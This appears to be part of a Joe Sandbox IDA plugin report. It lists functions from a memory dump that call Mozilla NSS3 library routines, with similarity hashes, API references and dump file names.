Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 5acf73b495c0c82efe5ddd6cadd02629a9c5a83982aa5b185b78de67fd65ccdc
Instruction ID: e6b1d187fddf5ad96e55739218b7ebc8ec63e70e67d79dc1fea9109695ebe25d
Opcode Fuzzy Hash: 5acf73b495c0c82efe5ddd6cadd02629a9c5a83982aa5b185b78de67fd65ccdc
Instruction Fuzzy Hash: 57519FB6B001009FEB10EFA9DC40BAA77F4AF48348F354529D9559B750EB32E906CB91

Function 6CEBFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CEBFFE5

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEC0004
PR_EnterMonitor.NSS3(?), ref: 6CEC001B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 3aa48fedccabd6098de3f3b9da9383140d018e7ae6f13d6a8b98ad09ae3f13cd
Instruction ID: 5521720bf8af3c2e58402abc3cf1fe5347dc6a212104f4bfce4727a7a9b5c566
Opcode Fuzzy Hash: 3aa48fedccabd6098de3f3b9da9383140d018e7ae6f13d6a8b98ad09ae3f13cd
Instruction Fuzzy Hash: 874129F67486808BE7204A29DE527ABB3B1DB4170CF30093DD467CAF91E779A54AC643

Function 6CE7EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE7EF38

Part of subcall function 6CE69520: PK11_IsLoggedIn.NSS3(00000000,?,6CE9379E,?,00000001,?), ref: 6CE69542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE7EF53

Part of subcall function 6CE84C20: TlsGetValue.KERNEL32 ref: 6CE84C4C
Part of subcall function 6CE84C20: EnterCriticalSection.KERNEL32(?), ref: 6CE84C60
Part of subcall function 6CE84C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84CA1
Part of subcall function 6CE84C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE84CBE
Part of subcall function 6CE84C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84CD2
Part of subcall function 6CE84C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84D3A

PR_GetCurrentThread.NSS3 ref: 6CE7EF9E

Part of subcall function 6CF09BF0: TlsGetValue.KERNEL32(?,?,?,6CF50A75), ref: 6CF09C07

free.MOZGLUE(00000000), ref: 6CE7EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE7F016
free.MOZGLUE(00000000), ref: 6CE7F022

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 7c3d065fa3efcbffb8ec5206041221d94697b4a446fdca994c416e9d816e893c
Instruction ID: 8491904c2cfa781026137477d924bf20452bebe73413eb3050f9f41466ace706
Opcode Fuzzy Hash: 7c3d065fa3efcbffb8ec5206041221d94697b4a446fdca994c416e9d816e893c
Instruction Fuzzy Hash: 1E41AEB1E00209AFDF018FA9DC85BEE7AB9AF48358F104029F914A7750EB718915CBB1

Function 6CE6CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE6CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE6D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE6D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6D025
PR_NewLock.NSS3 ref: 6CE6D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE6D074

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 132900ecf4076946dc95d7daeb1f310121d0ecbc709d07e56050e85c83a07735
Instruction ID: 1d116bbc674712bc6c72e2a842526458afa58fdf50ed808b112be644f72c30e9
Opcode Fuzzy Hash: 132900ecf4076946dc95d7daeb1f310121d0ecbc709d07e56050e85c83a07735
Instruction Fuzzy Hash: 4D41DDB4A512118FDB509F2AC88438A7BF5EF08318F70416ADC198BB42D774C585CBA1

Function 6CEB3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB3FF2

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEB400F

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEB4054

Part of subcall function 6CE4BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE4BC24
Part of subcall function 6CE4BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE4BC39
Part of subcall function 6CE4BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE4BC58
Part of subcall function 6CE4BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE4BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEB40CD

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 09430f1b2035198e4bdd819f0343d601db66801e6d939da2858f3cc204d2fe02
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8631FB75E0034197EB009FA49E81BBB3774AF9570CF244229ED08AB746F771E9558292

Function 6CE52E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE42D1A), ref: 6CE52E7E

Part of subcall function 6CEA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE48298,?,?,?,6CE3FCE5,?), ref: 6CEA07BF
Part of subcall function 6CEA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEA07E6
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA081B
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA0825

PR_Now.NSS3 ref: 6CE52EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE52EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE42D1A), ref: 6CE52F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE42D1A), ref: 6CE52F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE52F81

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: db129f54a88c2412fb4699171088b9b25579bf019b9ad14287a43788b779164d
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: B33147716011008BE710C664FC4ABAF7275EFA131CFB44579D019A7AD0EB339866C671

Function 6CE40E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE40A2C), ref: 6CE40E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE40A2C), ref: 6CE40E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE40A2C), ref: 6CE40E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE40A2C), ref: 6CE40E90
free.MOZGLUE(00000000), ref: 6CE40EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE40A2C), ref: 6CE40ED9

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 98e5ef93009257d63ff0e2a899a661ab306818aba668cdcbf5253aa726f9d892
Instruction ID: a2adab384b5b45f88ca617e52f0d88ece821e49b3a3c0ebd69188ab3d226e78d
Opcode Fuzzy Hash: 98e5ef93009257d63ff0e2a899a661ab306818aba668cdcbf5253aa726f9d892
Instruction Fuzzy Hash: 85214E72E002854BEF0049767C45F6772BEDFE274CF358035D81997701EA61C8358291

Function 6CE4AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE4AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE4AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE4AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE4AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF69500), ref: 6CE4AF23

Part of subcall function 6CE9F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE9F0C8
Part of subcall function 6CE9F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE9F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE4AF37

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: a0b45533666b7ba4a7de370e4e6a79cfb5b3d982a70492a5ac215d911ad4e765
Instruction ID: 92c1a1d6226e2f74f920f77969b2f06281abd39ac08310e129c3d9b754e77220
Opcode Fuzzy Hash: a0b45533666b7ba4a7de370e4e6a79cfb5b3d982a70492a5ac215d911ad4e765
Instruction Fuzzy Hash: 76212B719452009BE7104F18AC02B9A7BF4AF8573CF348329FC249B791E731D94587A3

Function 6CECEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECEE85
realloc.MOZGLUE(78572F06,?), ref: 6CECEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CECEEC5

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

htonl.WSOCK32(?), ref: 6CECEEE3
htonl.WSOCK32(00000000,?), ref: 6CECEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CECEF01

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 0f0e3994a21116234d4729832ca5a90c4e61b688acb2acff25bfb2be3bbfbc0b
Instruction ID: 0006a4ff76254bcc7e8a39516682cb8388d504091a92d1c190a265225474e650
Opcode Fuzzy Hash: 0f0e3994a21116234d4729832ca5a90c4e61b688acb2acff25bfb2be3bbfbc0b
Instruction Fuzzy Hash: DE21D331A006149FCF109F28DD81B9AB7B4EF49398F258129ED299B741E330ED14CBE6

Function 6CE7EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7EE49

Part of subcall function 6CE9FAB0: free.MOZGLUE(?,-00000001,?,?,6CE3F673,00000000,00000000), ref: 6CE9FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE7EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CE7EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CE7EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7EEB3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 5ea96f6efa4bce0236d7a6c0247a3b3ba44a1a9033df717570814ba3970aa82a
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 8C21D1B6A002116FEB118A19DC81EABB2B8EB4570CF240568FD089B751E671E814C7F1

Function 6CE47F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE47F68

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE47F7B

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE47FA7

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF6919C,?), ref: 6CE47FBB

Part of subcall function 6CE9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF718D0,?), ref: 6CE9B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE47FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF6915C,00000014), ref: 6CE47FFE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: eeac484778357bfc114c212e5191ea1993ef6149c248a52b941fbb61bf22cbc1
Instruction ID: 02b326b6e0c1a7792f54b28480de1af2f75dc1275204c4a741173bb2d25a2580
Opcode Fuzzy Hash: eeac484778357bfc114c212e5191ea1993ef6149c248a52b941fbb61bf22cbc1
Instruction Fuzzy Hash: 9711E761D002045AE7109B65AC41BBB76FCDF4565CF21462DFC59D6B41F720E948C2F1

Function 6CE4BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CECDC29,?), ref: 6CE4BE64

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CECDC29,?), ref: 6CE4BE78

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CECDC29,?), ref: 6CE4BE96

Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CECDC29,?), ref: 6CE4BEBB

Part of subcall function 6CE9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE98D2D,?,00000000,?), ref: 6CE9FB85
Part of subcall function 6CE9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE9FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CECDC29,?), ref: 6CE4BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CECDC29,?), ref: 6CE4BEF3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: af395749eb9bc47230cc13d144e2ef767b0caa4037e3bf03fa745a9460a7c186
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: E711BB75E001099BEB008BA5AD41FAE3BB8DF8525CF344028ED09EB740E731D909C7A1

Function 6CED3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CED5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CED5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED3D3F

